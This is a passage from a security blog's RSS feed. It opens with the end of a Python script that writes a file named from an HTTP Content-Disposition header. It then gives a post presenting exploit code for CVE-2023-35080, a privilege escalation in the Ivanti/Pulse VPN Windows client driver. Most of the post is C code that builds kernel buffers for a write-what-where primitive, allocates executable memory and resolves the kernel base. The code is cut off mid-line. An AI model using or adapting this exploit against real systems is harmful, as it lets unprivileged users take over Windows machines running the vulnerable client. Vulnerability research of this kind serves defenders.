<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">                raise</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF"> Exception</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"No filename was identified"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">            # Get the first match</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            filename </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> filenames[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">            # Generate the output path</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            output_name </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> output_path </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> filename</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">            print</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">f</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[+] Extracted : </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">{</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">filename</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">}</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">            # Write the body to a file using extracted filename</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            f </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> open</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(output_name, </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"wb"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            f.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">write</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(content)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            f.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">close</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">        # If something goes wrong, print the exception</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        except</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF"> Exception</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> as</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> e:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">            print</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(e)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">if</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75"> __name__</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "__main__"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">    main</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The script is using the <code>filename</code> value out of the <code>Content-Disposition</code> HTTP header of the response.</p>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/BURP.png" type="image/png"/>
    </item>
    <item>
      <title>Ivanti/Pulse VPN Client Privilege Escalation - Exploit Code of CVE-2023-35080</title>
      <link>https://blog.hophouse.fr/posts/ivanti-pulse-vpn-client-exploit-cve-2023-35080-privilege-escalation.html</link>
      <guid>https://blog.hophouse.fr/posts/ivanti-pulse-vpn-client-exploit-cve-2023-35080-privilege-escalation.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Ivanti/Pulse VPN Client Privilege Escalation - Exploit Code of CVE-2023-35080</source>
      <description>Northwave has identified several vulnerabilities in Ivanti Secure Access VPN, previously known as Pulse Secure VPN : CVE-2023-38043 CVE-2023-35080 CVE-2023-38543 A few technical...</description>
      <category>Exploit</category>
      <pubDate>Sat, 10 Feb 2024 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<p>Northwave has identified several vulnerabilities in <a href="https://www.ivanti.com/products/connect-secure-vpn" target="_blank" rel="noopener noreferrer">Ivanti Secure Access VPN</a>, previously known as Pulse Secure VPN :</p>
<ul>
<li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38043" target="_blank" rel="noopener noreferrer">CVE-2023-38043</a></li>
<li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-35080" target="_blank" rel="noopener noreferrer">CVE-2023-35080</a></li>
<li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38543" target="_blank" rel="noopener noreferrer">CVE-2023-38543</a></li>
</ul>
<p>A few technical details were shared in the following article : <a href="https://northwave-cybersecurity.com/ivanti-pulse-vpn-privilege-escalation" target="_blank" rel="noopener noreferrer">https://northwave-cybersecurity.com/ivanti-pulse-vpn-privilege-escalation</a> and were very usefull to build an exploit.</p>
<p>Following it and experimenting, it was possible to build a working exploit for <strong>CVE-2023-35080</strong>.
It allows a normal user to exploit a write primitive in the Ivanti/Pulse VPN client windows driver in order to elevate privileges.</p>
<p>Full code exploiting the <strong>CVE-2023-35080</strong> can be retrieved in the dedicated Github repository : <a href="https://github.com/HopHouse/Ivanti-Pulse_VPN-Client_Exploit-CVE-2023-35080_Privilege-escalation" target="_blank" rel="noopener noreferrer">https://github.com/HopHouse/Ivanti-Pulse_VPN-Client_Exploit-CVE-2023-35080_Privilege-escalation</a>.</p>
<h1>Main code</h1>
<p>The following code was used to exploit the vulnerability :</p>
<div class="language-c line-numbers-mode" data-highlighter="shiki" data-ext="c" data-title="c" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "main.h"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> write_byte</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">void*</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic"> arg</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    Sleep</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">100</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    WRITE_WHAT_WHERE_BYTE</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> bv </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (WRITE_WHAT_WHERE</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)arg;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    BOOL res1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> SetThreadPriority</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        GetCurrentThread</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        THREAD_MODE_BACKGROUND_BEGIN</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    );</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (res1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[!][write_byte][</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%d</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> - </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%d</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">] Error while setting the thread priority</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">id</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">threadId</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    size_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> returned_bytes;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> input_buffer </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> calloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">100</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> initial_buffer </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> calloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">100</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> buff_30h </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> calloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">100</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> iocsq_rsi_plus_8h </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> calloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">100</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    /*</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">     *  Configuring the pointer to hold the byte we want to write</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">     *  in the LSB. -0x50 at the end to compensate for the +0x50</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">     *  that is done inside the driver code</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">     */</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> buff_28h </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ((</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">VirtualAlloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, MEM_COMMIT </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">|</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> MEM_RESERVE, PAGE_EXECUTE_READWRITE)) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">100</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> -</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">50</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    input_buffer</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> initial_buffer;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    initial_buffer</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">28</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> buff_28h;</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    initial_buffer</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">30</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> buff_30h;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    iocsq_rsi_plus_8h</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">where</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    iocsq_rsi_plus_8h</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">68</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    iocsq_rsi_plus_8h</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">18</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // Required to pass a check in write_char_0</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    iocsq_rsi_plus_8h</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">08</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // Required to pass a check in write_char_0</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    buff_30h</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">08</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">))] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> iocsq_rsi_plus_8h;</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    buff_28h</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">50</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">))] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">id</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // Locked spin lock object</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ntoskrnl_base </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    GetKernelBase</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&amp;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ntoskrnl_base);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    //uint64_t HalMakeBeepOffset = 0;</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    //GetFunctionOffset("HalMakeBeep", &amp;HalMakeBeepOffset);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    //uint64_t KeAcquireQueuedSpinLockOffset = 0;</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    //GetFunctionOffset("KeAcquireQueuedSpinLock", &amp;KeAcquireQueuedSpinLockOffset);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    /*</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">     *  Setting Function pointers</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">     */</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    buff_28h</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">50</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">20</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span 